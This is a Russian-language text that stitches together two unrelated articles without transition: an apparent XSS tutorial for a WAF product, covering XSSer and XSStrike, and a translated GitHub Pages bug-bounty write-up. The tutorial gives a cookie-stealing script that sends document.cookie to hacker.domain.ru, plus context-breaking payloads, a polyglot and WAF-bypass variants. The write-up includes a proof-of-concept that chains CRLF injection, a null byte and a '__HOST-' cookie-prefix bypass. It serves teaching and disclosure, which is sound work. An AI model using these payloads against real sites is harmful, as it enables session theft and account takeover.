XSS (Cross Site Scripting) - один из самых популярных видов веб-уязвимостей, позволяющий производить внедрение вредоносного кода в отдаваемую веб-приложением страницу. Атаки с использованием XSS-вектора позволяют внедрять на страницу произвольное содержимое, перехватывать cookie и сессии других пользователей, получать доступ в закрытые разделы сайта и даже привилегии администратора веб-ресурса.

Существует несколько видов XSS:

• Хранимые. Вредоносный код сохраняется на сервере и загружается с него каждый раз, когда пользователи запрашивают отображение той или иной страницы. Чаще всего проявляются там, где пользовательский ввод не проходит фильтрацию и сохраняется на сервере: форумы, блоги, чаты, журналы сервера и т.д.

  Например, скрипт <img src="http://personeltest.ru/away/exmple.com/">, оставленный на странице сайта с очень высокой посещаемостью, может спровоцировать DDoS-атаку на указанный веб-ресурс.

• Отображаемые. Вредоносная строка является частью запроса жертвы к веб-сайту. Сайт принимает и вставляет эту вредоносную строку в отправляемый ответ обратно пользователю.

  Например, при переходе пользователем по ссылке: http://example.com/q=<a href='a' onmouseover=alert('XSS') style='font-size:500px'> на странице отобразится гиперссылка, при наведении на которую выполнится скрипт alert('XSS'). Но для этого необходимо каким-то образом (например, с использованием социальной инженерии) заставить пользователя ввести эту ссылку в адресной строке.

• XSS в DOM-модели. Представляет собой вариант как хранимой, так и отображаемой XSS-атаки. В данном случае вредоносная строка не обрабатывается браузером жертвы, пока настоящий JavaScript веб-сайта не выполнится.

  Предположим, что мы разработали веб-приложение, содержащее следующий код:

  <title>Example XSS</title><h1 id="greeting">Hello there!</h1>   <script>        var name = new URLSearchParams(document.location.search).get('name');        if (name !== 'null') {            document.getElementById('greeting').innerHTML = 'Hello ' + name + '!';         }   </script>
  

При его выполнении на странице будет отображаться приветствие "Hello !". Однако, если добавить что-нибудь через параметр name, например "Pentestit", то приветствие изменится на "Hello Pentestit!". Но если в этот параметр добавить нагрузку в виде <img+src+onerror=alert('XSS')>, то произойдет обработка скрипта.

Статья носит информационный характер. Не нарушайте законодательство.

XSS имеют различные вариации, например, сообщение на форуме с текстом <script>alert('XSS')</script> поместит скрипт на странице, и любой пользователь, который посетит ее, вызовет обработку этого скрипта браузером. Но это сработает в том случае, если нет никакой фильтрации пользовательского ввода. Если фильтрация присутствует, хотя бы на закрывающиеся теги, то подобная конструкция уже не сработает. В таком случае скрипт необходимо немного видоизменить, разместив его, например, в тегах <img>, <iframe> и им подобных, то есть в тех, которые не требуется закрывать. Например:

<img src=http://example.com/image.png onerror=alert('XSS')>

Тег <img> отвечает за загрузку картинки на страницу, и при указании адреса, откуда ее загружать, добавляется обработчик событий, который активируется в случае успеха или ошибки при загрузке. В данном случае при ошибке загрузки картинки с ресурса example.com сработает обработчик событий onerror, который запустит скрипт alert('XSS'). Вариаций использования обработчиков событий также довольно много: onload, onerror, onmouseover и т.д. Но помимо безопасной конструкции <script>alert('XSS')</script> злоумышленник может написать скрипт, который будет передавать ему на удаленный сервер cookie всех пользователей, посетивших страницу.

<script>var s=document.location; if (String(s).indexOf('iC')<0){document.location='http://hacker.domain.ru/search.php?q='+document.cookie;}</script>

Есть и так называемые слепые XSS (blind XSS) это вариант хранимой XSS. Суть их работы заключается в том, что злоумышленник не сможет сразу увидеть результат, или результат работы пейлоада будет выводиться, например, на какой-то другой странице, вроде формы обратной связи или публикации отзывов с предварительной модерацией сообщений. Прислав в тексте сообщения скрипт, злоумышленник не увидит никакой реакции от веб-приложения, однако на стороне администратора или модератора сервиса скрипт отработает, вызвав написанную злоумышленником функцию. Если рассматривать данный вид атаки в контексте примера XSS с кражей cookie, то в таком случае администратор, ничего не успев понять, передаст их злоумышленнику.

Главная проблема поиска blind XSS в том, что необходимо учитывать множество контекстов, в которых может выполняться код, например, внутри одинарных или двойных кавычек, различных атрибутов и т.д. Для примера возьмем один и тот же пейлоад и посмотрим, в каких контекстах он может находиться. Исходный пейлоад опять же будет простым <script>alert(context)</script>.

Его можно доработать, чтобы он выполнился также и в других контекстах. Для этого нужно будет подстроиться под них:

• '><script>alert(context)</script> - вышли за пределы атрибута в одинарных кавычках;

• '"><script>alert(context)</script> - вышли за пределы атрибута в одинарных и двойных кавычках;

• -->'"><script>alert(context)</script> - вышли также за пределы HTML-комментария;

• </textarea>-->'"><script>alert(context)</script> - вышли за пределы элемента textarea;

• </style></textarea>-->'"><script>alert(context)</script> - вышли за пределы элемента style.

Проверить эти параметры может помочь использование XSS-полиглотов, которые учитывают различные контексты, например:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Такой пейлоад должен выполниться в любом контексте, то есть его можно поместить в любой параметр и не беспокоиться о том, в какой участок кода он попадет.

Существует довольно много пейлоадов-полиглотов, их можно взять из SecLists или тут.

Если подойти к вопросу в контексте безопасности, то использование только сигнатурного анализа в WAF для фильтрации пользовательских данных позволяет выполнить "обход", используя альтернативный метод выполнения сценария. Например, вместо <script>alert('XSS')</script> использовать конструкцию \<a onmouseover="alert('XSS')">xss link\</a> для создания ссылки, при наведении на которую сработает обработчик событий onmouseover, выполнив скрипт. Если фильтруется ввод закрывающих тегов, то можно перейти на теги, которые не требуется закрывать, например <img>. Если WAF блокирует и закрывающие теги, и теги типа <img>, то можно попробовать тег body: <BODYONLOAD=alert('XSS')>

Еще один вариант обхода блокировки WAF методы обфускации пейлоада. Например, используя URL-Encode стандартный пейлоад <script>alert(XSS)</script>, можно превратить в %3Cscript%3Ealert%28XSS%29%3C%2Fscript%3E.

Для автоматизации поиска и эксплуатации XSS-уязвимостей существуют специальные инструменты (фреймворки), такие как XSSer или XSStrike, оба являются бесплатными.

XSSer

Cross Site "Scripter" (также известный как XSSer) это автоматический фреймворк для обнаружения и эксплуатации XSS-уязвимостей в веб-приложениях. Содержит несколько опций для обхода определенных фильтров и специальные техники внедрения кода.

Ключевые особенности инструмента:

• возможность создания изображений или видеофайлов с XSS-пейлоадом для дальнейшей загрузки в веб-приложение;

• поиск для внедрения XSS с помощью Google Dorks запросов;

• проверка наличия XSS-фильтров у целевого веб-приложения;

• опция генерации пейлоада для попыток обхода систем WAF;

• выявление Blind XSS.

Установка

Для установки инструмента можно воспользоваться deb-пакетом с официального сайта https://xsser.03c8.net/, либо на github скачать скрипт установки.

Использование

Использование ключей для составления запроса

Для вызова справки по командам вводим xsser -h. Команда xsser --update обновит инструмент до актуальной версии, а xss --gtk запустит графический интерфейс, но об этом чуть позже.

Стандартная команда для проверки XSS выглядит так:

# xsser -u "http://example.com" -g "/index.php?login=XSS&password=1&Submit" # xsser -u "http://example.com/index.php" -p "login=XSS&password=1&Submit"

• -u - URL для проверки;

• -g/-p - параметры для GET- и POST-запросов с указанием места внедрения проверочного пейлоада при помощи строки XSS.

Использование графического интерфейса

Для любителей графического интерфейса существует команда xsser --gtk. Запустится окно программы, где можно настраивать запросы для тестирования аналогично консольному варианту. Но здесь работать гораздо удобнее, исключив возможность запутаться в действительно обширном количестве ключей.

И сразу лайфхак: указывая параметры URL, data, payloads и т.д., их необходимо обязательно заключать в кавычки подобно написанию в консоли. В графическом интерфейсе, видимо, не подразумевалась данная функция по умолчанию.

Вариантов настройки запросов в графическом интерфейсе тоже 2, как и в консольном варианте:

• обычный режим пользователь сам выбирает параметры для составления запроса;

• мастер запросов интерактивное окно, в котором необходимо последовательно выбирать такие параметры, как: метод отправляемого запроса, URL проверяемого веб-приложения (один URL или список), метод генерации пейлоадов (конкретный или автоматическая генерация), необходима ли анонимизация отправки запросов такими средствами, как Tor и т.д.

С мастером настройки особых проблем возникать не должно. Главное - четко понимать, какие данные необходимы, поэтому остановимся подробнее на обычном режиме.

При запуске графического интерфейса, как уже говорилось ранее, появится окно программы, где вводится URL для тестирования, указывается использование поисковой системы страниц с уязвимостями, краулер, а также Tor прокси для анонимизации. Остальные настройки будут производиться в соответствующих разделах:

Connection

Основной раздел составления запроса.

Cheker

Проверка доступности хоста и настройка проверки Blind XSS.

Vectors

Позволяет вручную установить пейлоад для проверки или использовать автоматическую генерацию.

Anti-antiXSS

Использование параметров для попытки обхода некоторых WAF, а также анти-XSS фильтры некоторых браузеров. Последнее не имеет смысла, так как заявленые браузеры являются устаревшими и вряд ли не используются на текущий момент.

Bypasser

Содержит различные настройки обфускации пейлоадов для обхода прочих средств защиты.

Technique

Различные техники внедрения пейлоада.

Exploit

Специальные методы выполнения инъекций.

После указания всех параметров можно нажать на главном окне кнопку Fly для выполнения атаки или кнопку Aim для генерации консольной команды.

Тестирование

Проверка автоматической генерации пейлоадов

Набор пейлоадов, которые предлагает XSSer, находится в файле ./core/fuzzing/vectors.py и записан в виде JSON. Сам список имеет вид:

{ 'payload':"""<iframe<?php echo chr(12)>onload=PAYLOAD></iframe>""",'browser':"""Not Info"""}

Если сравнивать с XSStrike, то у него было несколько наборов:

• базовые теги (img, iframe и т.д.)

• обработчики событий (onload, onerror, onmouseover и т.д.)

• функции (например confirm()) и т.д.

В процессе генерации все эти наборы совмещались друг с другом и получался объемный список пейлоадов. Но в XSSer оказалось, что параметр --auto отвечает лишь за использование уже существующего словаря, который, разумеется, можно расширить.

Во время тестирования все применяемые пейлоады кодируются в URL-Encode, а результаты автоматически записываются в текущей папке в файл XSSreport.raw, если не указано иное.

Проверка поиска уязвимых сайтов для XSS средствами Google Dork

Данная функция позволяет инструменту проводить поиск уязвимых страниц в Интернете, используя GoogleDork-запросы. В процессе поиска XSSer будет искать страницы по указанным критериям и, если найдет, отправит пейлоад для проверки наличия XSS-уязвимости. В самом простом случае запрос может выглядеть так:

# xsser --De "duck" -d "search.php?q="

где:

--De - поисковой движок (DuckDuckGo, Yahoo, Bing)

-d - содержимое GoogleDork-запроса

Сама задумка данной функции понятна поиск уязвимых страниц с помощью продвинутого поискового движка, но из-за того, что при ее использовании атакуются сторонние ресурсы в Интернете, не совсем понятно, зачем она была добавлена.

XSStrike

XSStrike это пакет обнаружения XSS, оснащенный четырьмя рукописными синтаксическими анализаторами, интеллектуальным генератором полезной нагрузки, мощным механизмом фаззинга и быстрым сканером. Он распознаёт ответ с помощью нескольких анализаторов и затем обрабатывает полезные данные, которые гарантированно будут работать с помощью контекстного анализа, интегрированного в механизм фаззинга.

Возможности:

• фаззинг;

• технология взлома контекста;

• интеллектуальная генерация пэйлоадов;

• поддержка методов GET & POST;

• поддержка файлов cookie;

• обнаружение WAF;

• пэйлоады ручной работы для фильтрации и WAF-уклонения;

• скрытое обнаружение параметров.

Пример:

# python3 xsstrike.py -u "http://example.com" --crawl# python3 xsstrike.py -u "http://example.com" --data "login=admin&password=admin&submit"

Более подробно про XSStrike на русском можно прочитать здесь.

Тестирование обхода WAF. XSSer vs XSStrike

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1"

Здесь указан URL, параметры POST-запроса, использование заготовленного словаря с пейлоадами и задержка в 1 секунду между запросами.

При использовании XSSer со стандартным набором пейлоадов, Nemesida WAF Free заблокировал все атаки, за исключением направленных на старые версии браузеров (например, Internet Explorer 6). Также не были заблокированы запросы, не преставляющие собой реальную атаку, например:

• <xml id="X"><a><b>955c5ecb3ac1e7ef80ab181ca5d5c7d9;<b></a></xml>

• <DIV STYLE="width: expression(c5d576195e3d738adcfb2e1f10019443);">

• <LINK REL="stylesheet" HREF="bdde8029cb7599bd5601cb739bab6590">

Есть символы, используемые в атаках, но отдельно не являющиеся опасными. Их блокировка потенциально может привести к ложным срабатываниям. В Nemesida WAF Free мы разрабатываем качественные сигнатуры для снижения количества ложных срабатываний.

Попытки обхода средств защиты также не дали дополнительных результатов при применении любого из доступных в инструменте методов кодирования пейлоадов.

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1" --Hex

Дополнительно применялась мультикодировка --Cem:

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1" --Cem "Str, Hex"

В этом случае пейлоад будет по очереди закодирован сначала в String.FromCharCode () (Str), после чего полученная строка будет закодирована в шестнадцатиричный код (Hex). Кодировок можно добавлять и больше, но это будет прямо пропорционально влиять на скорость проверки.

Если сравнивать эффективность XSStrike и XSSer, то мы, скорре, отдадим предпочтение последнему. Хотя в XSStrike есть функция преобразования полезной нагрузки в base64:

# python3 xsstrike -u "http://example.com/xss.php" --data "login=&password1=&enter=Submit+Query" --skip -e b64

Параметр --data отвечает за содержимое тела POST-запроса, --skip позволяет пропустить проверку перед применением пейлоадов, а -e устанавливает кодировку пейлоадов.

Проблемы сигнатурного анализа

Не стоит забывать, что злоумышленник может легко получить список сигнатур и на его основе попытаться обойти WAF. Для таких случаев в Nemesida WAF применяется модуль машинного обучения, который позволяет усложнить попытки обхода сигнатурного метода. Для наглядности мы провели 2 теста - попытки обхода бесплатной версии Nemesida WAF (только сигнатурный анализ) и полной версии Nemesida WAF с применением машинного обучения (используя реальные модели). В качестве инструмента использовали waf-bypass и вот, что получили:

При использовании инструмента XSStrike все атаки на веб-приложение также были заблокированы, даже с учетом попыток обхода защиты по умолчанию.

# python3 xsstrike -u "http://sites.vulns.pentestit.ru/xss.php" --data "login=&password1=&enter=Submit+Query" --skip

Вывод

XSS являются крайне опасными уязвимостями, которые могут навредить, в первую очередь, пользователям. Поэтому предлагаем небольшой список рекомендаций для защиты от них:

• Кодирование входных данных: с помощью библиотек OWASP Encoding Project, HTML Purifier, htmLawed, Anti-XSS Class и т.д.;

• Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение: с использованием как рассмотренных XSSer и XSStrike, так и с Wapiti, Nikto Web Scanner или Acunetux;

• Использование Nemesida WAF (хотя бы Free версию);

• И, наконец, регулярно устанавливать обновления (и, если серьезно заморочиться, использовать расширения, предотвращающие запуск XSS-сценариев на странице).

Nemesida WAF доступен в виде установочных пакетов для популярных Linux-систем: Debian, CentOS и Ubuntu. Быстрый стар для тех, кто уже познакомился с продуктом, занимает порядка 5-7 минут. Инструкция по установке доступна по ссылке.

По завершении настроек атаки будут отображаться в личном кабинете (также устанавливается локально), демонстрационной стенд размещен по адресуdemo.lk.nemesida-security.com(demo@pentestit.ru/pentestit).

Оставайтесь здоровыми и защищенными.

Когда я нашёл эту уязвимость и сообщил о ней, она стала моим первым оплаченным баг-репортом на HackerOne. $35,000 это также самая высокая награда, которую я получил от HackerOne (и я считаю, что самая высокая оплата от GitHub на сегодня). Многие найденные ошибки, кажется, это удача и интуиция, вместе взятые. В этом посте я расскажу, как мыслил, приближаясь к цели.

Как началась история

Ковид ударил весной, в первый год старшей школы. От нечего делать между онлайн-занятиями я начал охоту за багами. Конкретно эта награда была за сообщение об уязвимости приватных страниц Github в рамках программы Баг Баунти. В частности, было и два бонуса CTF (capture the flag состязание по типу захвата флага, здесь в информационной безопасности):

• $10000 чтение флага flag.private-org.github.io без взаимодействия с пользователем. Бонус в $5000 за то, что флаг читается с аккаунта внутри приватной организации.

• $5000: чтение флага flag.private-org.github.io через взаимодействие с пользователем.

Поток аутентификации

Страницы GitHub размещаются в отдельном домене github.io, поэтому куки-файлы аутентификации github.com не отправляются на сервер приватных страниц. Таким образом, аутентификация частной страницы не имеет возможности определить личность пользователя без дополнительной интеграции с github.com, поэтому GitHub создал собственный поток аутентификации. И ввёл возможность существования багов. На момент отчёта этот поток выглядел так:

А теперь подробнее.

При посещении приватной страницы сервер проверяет, существует ли файл куки __Host-gh_pages_token. Если этот файл не установлен или установлен неправильно, сервер приватной страницы перенаправит на https://github.com/login. Этот начальный редирект также устанавливает nonce, который хранится в куки __Host-gh_pages_session.

Обратите внимание, что этот куки использует префикс куки __Host-, который, в теории, в качестве дополнительной защиты в глубину, предотвращает его установку из JS с родительского домена.

/login перенаправляет на /pages/auth?nonce=&page_id=&path=. Затем эта конечная точка генерирует временный куки-файл аутентификации, который она передаёт https://pages-auth.github.com/redirect в параметре token; nonce, page_id, и path присылаются аналогично.

/redirect просто перенаправляет на https://repo.org.github.io/__/auth. Эта последняя конечная точка затем устанавливает куки аутентификации для домена repo.org.github.io, __Host-gh_pages_token и __Host-gh_pages_id. Также вместе с ранее установленным __Host-gh_pages_session на валидность проверяется nonce.

На протяжении всего потока аутентификации такая информация, как исходный путь запроса и идентификатор страницы, хранится в параметрах запроса path и page_id соответственно. Nonce также передаётся в параметре nonce. Хотя поток аутентификации, возможно, немного изменился (отчасти из-за этого отчёта), общая идея остаётся прежней.

Эксплоит

CRLF возвращается

Первая уязвимость CRLF-инъекция в параметре page_id запроса https://repo.org.github.io/__/auth.

Возможно, лучший способ найти уязвимые места поиграть. Исследуя поток аутентификации, я заметил, что парсинг page_id, похоже, игнорировал пробельные символы. Интересно, что он также рендерил параметр непосредственно в заголовок Set-Cookie. К примеру, page_id=12345%20 вернул это:

Set-Cookie: __Host-gh_pages_id=12345 ; Secure; HttpOnly; path=/

Псевдокод предположительно такой:

page_id = query.page_iddo_page_lookup(to_int(page_id))set_page_id_cookie(page_id)

Другими словами, page_id преобразуется в целое число, а также отображается напрямую в заголовок Set-Cookie. Проблема была в том, что мы не можем отобразить текст напрямую. Несмотря на то, что у нас была классическая CRLF-инъекция, размещение любых непробельных символов привело к поломке парсинга целого. Мы могли бы прервать поток аутентификации, отправив page_id=12345%0d%0a%0d%0a, но, кроме интересного ответа, никакого немедленного воздействия не было.

; Secure; HttpOnly; path=/Cache-Control: privateLocation: https://83e02b43.near-dimension.github.io/X-GLB-L

Дополнительное примечание: заголовок Location: был добавлен после заголовка Set-Cookie, поэтому наш ответ Location выталкивает за пределы отправленных HTTP-заголовков. Это редирект на 302, но, несмотря на это, заголовок Location игнорируется и отображается содержимое тела.

Из грязи в князи

Немного просмотрев на GitHub Enterprise (который дал доступ к исходному коду), я заподозрил, что сервер приватных страниц реализован на Nginx OpenResty. Будучи относительно низкоуровневым, возможно, он имел проблемы с нулевыми байтами. А попытка не пытка, правильно?

Оказалось, что добавление нулевого байта прерывает парсинг целого. Другими словами, можно передать такую полезную нагрузку:

"?page_id=" + encodeURIComponent("\r\n\r\n\x00<script>alert(origin)</script>")

А вот и XSS!

Обратите внимание, что, если в заголовке есть нулевой байт, ответ будет отклонён. Таким образом, нулевой байт должен прийти в начале тела (это означает, что мы не можем выполнить атаку через инъекцию в заголовок).

Мы добились выполнения произвольного JavaScript на странице приватного домена. Единственная проблема нужен способ обойти nonce. Параметры page_id и path известны, а nonce не позволяет нам отправлять жертв вниз по потоку аутентификации с отравленным page_id. Нам нужно либо зафиксировать, либо спрогнозировать nonce.

Обходим nonce

Первое наблюдение поддомены одной организации могут устанавливать куки-файлы друг на друга. Так происходит потому, что *.github.io нет в публичном списке суффиксов. Таким образом установленные на private-org.github.io куки передаются на private-page.private-org.github.io.

Nonce обойти будет легко, если мы как-то сможем обойти защиту префикса __Host-. Просто установим фальшивый nonce на страницу поддомена того же уровня, значение будет передано ниже. К счастью, этот префикс не принудителен во всех браузерах...

Ну, ладно... неправильно говорить не во всех. Похоже, в смысле этого обхода уязвим только IE. Придётся постараться. А что, если атаковать сам nonce? генерация выглядит надёжной, и, если честно, криптография не моя сильная сторона. Найти обход применяемой в nonce энтропии, несмотря ни на что, это казалось маловероятным. Как же тогда зафиксировать nonce?

Вернёмся к истокам RFC. В конце концов, я наткнулся на интересную идею как нормализовать куки? В частности, как следует обращаться с куки с учётом верхнего регистра. "__HOST-" это то же самое, что "__Host-"? Легко убедиться, что в браузерах с куками разного регистра обращаются по-разному:

document.cookie = "__HOST-Test=1"; // worksdocument.cookie = "__Host-Test=1"; // fails

Оказывается, сервер приватных страниц GitHub при разборе куки-файлов игнорирует заглавные буквы. И у нас есть префиксный обход. А теперь собираем доказательство концепции атаки XSS!

<script>const id = location.search.substring("?id=".length)document.cookie = "__HOST-gh_pages_session=dea8c624-468f-4c5b-a4e6-9a32fe6b9b15; domain=.private-org.github.io";location = "https://github.com/pages/auth?nonce=dea8c624-468f-4c5b-a4e6-9a32fe6b9b15&page_id=" + id + "%0d%0a%0d%0a%00<script>alert(origin)%3c%2fscript>&path=Lw";</script>

Уже этого достаточно, чтобы заработать бонус в $5000. Но я хотел посмотреть, получится ли продвинуться дальше.

Отравление кэша

И вот ещё один недостаток дизайна выяснилось, что в ответ на конечную точку /__/auth? кэшировалось только целое значение page_id. Само по себе это безвредно: установленный этой конечной точкой токен скопирован на личную страницу и не имеет никаких других привилегий.

В то же время такая практика в проектировании несколько сомнительна. Получение токенами дополнительных привилегий потенциально может стать источником проблем безопасности.

Независимо от этого, такое кэширование лёгкий способ усугубить атаку. Поскольку он делается на разобранном целочисленном значении, успешная атака на кэш с полезной нагрузкой XSS может повлиять на других пользователей, которые даже не взаимодействовали с вредоносной нагрузкой, как показано ниже:

Злоумышленник контролирует unprivileged.org.github.io и хочет добраться до privileged.org.github.io. Он атакует поток аутентификации unprivileged.org.github.io и полезная нагрузка XSS кэшируется.

Когда привилегированный пользователь посещает unprivileged.org.github.io, он подвергается XSS атаке на домен unprivileged.org.github.io. Куки могут устанавливаться на общем родительском домене org.github.io, поэтому теперь злоумышленник может атаковать privileged.org.github.io.

Эти действия позволяют любому злоумышленнику с разрешениями на чтение приватной страницы постоянно атаковать поток аутентификации этой страницы. Ё-моё!

Публичные и приватные страницы

Чтобы получить бонус 15000 долларов, нужно выполнить эту атаку с учётной записи пользователя, которого в организации нет. И нам везёт: мы можем злоупотребить тем, что кажется ещё одной ошибкой конфигурации разделением страниц на публичные и приватные.

Ошибка в конфигурации приватных страниц позволяет публичным репозиториям также иметь свои собственные приватные страницы. После обычной аутентификации эти страницы открыты для всех. Если такая публично-приватная страница есть у организации, она доступна для чтения любому пользователю Github. Получить доступ можно так:

Это происходит, когда репозиторий приватных страниц делают публичным. Ситуация вполне правдоподобна: например, организация может изначально создать приватный репозиторий с соответствующей приватной страницей. Позже она может решить открыть исходный код проекта, изменив статус репозитория на общедоступный.

В комбинации с изложенным выше получается, что непривилегированный пользователь вне организации может с опорой на приватно-публичную страницу скомпрометировать потоки аутентификации внутренних приватных страниц.

В целом это даёт хорошее доказательство концепции, показывающее, как злоумышленник извне может использовать сотрудника организации, чтобы перейти на другие приватные страницы.

Так мы заработали максимальный бонус CTF. Устойчивость достигается отравлением кэша или другим техниками, которые мы оставим читателям в качестве упражнения.

Заключение

Этой уязвимости присвоили высокий приоритет, базовая выплата составила 20 000 долларов, а с бонусом CTF мы заработали 35 000 долларов. Довольно круто, что такая относительно малоизвестная уязвимость, как инъекция CRLF, обнаружилась на GitHub. Хотя большая часть кода написана на Ruby, некоторые компоненты, такие как аутентификация приватной страницы, написаны не на этом языке и могут быть уязвимы к низкоуровневым атакам. В общем, везде, где есть сложные взаимодействия, ошибки только ждут, чтобы мы их нашли.

Обнаруженная уязвимость кажется одной на миллион. Это как продеть нитку в иголку должен выстроиться целый ряд событий. В то же время, думаю, чтобы найти нечто подобное, требуется в меру развитая интуиция и навыки, которые как раз можно получить на курсе Этичный хакер.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

• Профессия Data Scientist

• Профессия Data Analyst

• Курс по Data Engineering